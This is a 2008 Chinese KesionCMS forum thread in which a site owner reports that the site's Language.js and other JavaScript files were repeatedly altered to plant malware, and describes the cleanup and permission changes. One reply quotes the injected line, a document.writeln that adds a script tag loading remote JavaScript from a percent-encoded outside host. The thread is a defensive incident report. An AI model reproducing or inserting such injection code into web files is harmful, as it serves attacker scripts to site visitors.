账号通
    

账号  

密码  

4463

查看

13

回复
主题:[注意]漏洞报告:Language.js [收藏主题] 转到:  
tean 当前离线

58

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:823 分
登录次数:64 次
注册时间:2007/8/2
最后登录:2009/12/10
tean 发表于:2008/5/17 9:49:00   | 显示全部帖子 查看该作者主题 楼主 

我的网站TOOKMAX 昨晚七时左右打开时,360安全卫士警告


[


发现挂马网页


http://a.8e9.net/cnzz.htm


]


 


打开这个链接后出现"站长统计"四个字,点击后是站长统计的登录页面


 


查看八易娱乐网的站点统计


 


------------------------------------------------


在搜索引擎上搜索不到任何相关信息


用排除法终于查到


 


/KS_inc/Language.js


 


被更改过,删除最后几行代码[删的太急,没有拷贝下来]后恢复正常


因为不想在页面去掉"繁体中文"这个功能,所以没有将Language.js改名,只是更改Ks_ins文件夹和所有文件属性为只读...


 


结果你猜出怎么样? 今天早上打开网站,竟然又被改了!!!!!!!!!


无奈只好去掉"繁体中文"这个功能了


 


记得以前KS_inc这个目录下的Ajax.js也被挂马的瞄上了,现在又开始改其它的JS文件,以后不知又会改哪个文件,
希望官方能予以关注下


-----------------------------------------


顺便在这里鄙视(竖两根中指)一下那些挂马的:


现在谁挣个钱都不容易,无论你们是出于什么目的这么做,丫有本事对着国外的网站使劲去, 别在这窝里横,这不叫本事
对我们这些可怜的中小站长下手,你就有成就感么?

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
tean 当前离线

58

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:823 分
登录次数:64 次
注册时间:2007/8/2
最后登录:2009/12/10
tean 发表于:2008/7/12 18:29:00   | 显示全部帖子 查看该作者主题 沙发 
科汛智能建站系统

备份数据库,清空服务器文件........重装CMS,恢复数据库文件........,总算是熬过来了

...这算是妥协了吧

不知5.0是不是要好一些了

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
tean 当前离线

58

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:823 分
登录次数:64 次
注册时间:2007/8/2
最后登录:2009/12/10
tean 发表于:2008/5/17 15:30:00   | 显示全部帖子 查看该作者主题 藤椅 
科汛智能建站系统

刚看着你的贴子,网站又被挂上了........还是那个鸟网站

 

document.writeln("<script src=http:\/\/%61%2E%38%65%39%2E%6E%65%74\/%31%2E%6A%73><\/script>");

 

这回是在我自己写的JS文件中被弄上的...看来,他们是查看页面源代码找到网站共同调用的JS文件加码的

这下只能改目录权限了

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
tean 当前离线

58

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:823 分
登录次数:64 次
注册时间:2007/8/2
最后登录:2009/12/10
tean 发表于:2008/5/17 10:28:00   | 显示全部帖子 查看该作者主题 板凳 
科汛在线商城系统(NET)
版主你好,是不是网站下的每一个.js文件,都有可能成为被挂马的目标啊?包括自己写的?
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
tean 当前离线

58

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:823 分
登录次数:64 次
注册时间:2007/8/2
最后登录:2009/12/10
tean 发表于:2008/5/17 10:22:00   | 显示全部帖子 查看该作者主题 报纸 
科汛在线商城系统(NET)
我用的是数字引擎,以前是默认是关闭写权限,因为不方便,所以就要求权限开放了,难道说通过FTP属性操作不起作用?
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.14258秒 powered by KesionCMS 9.0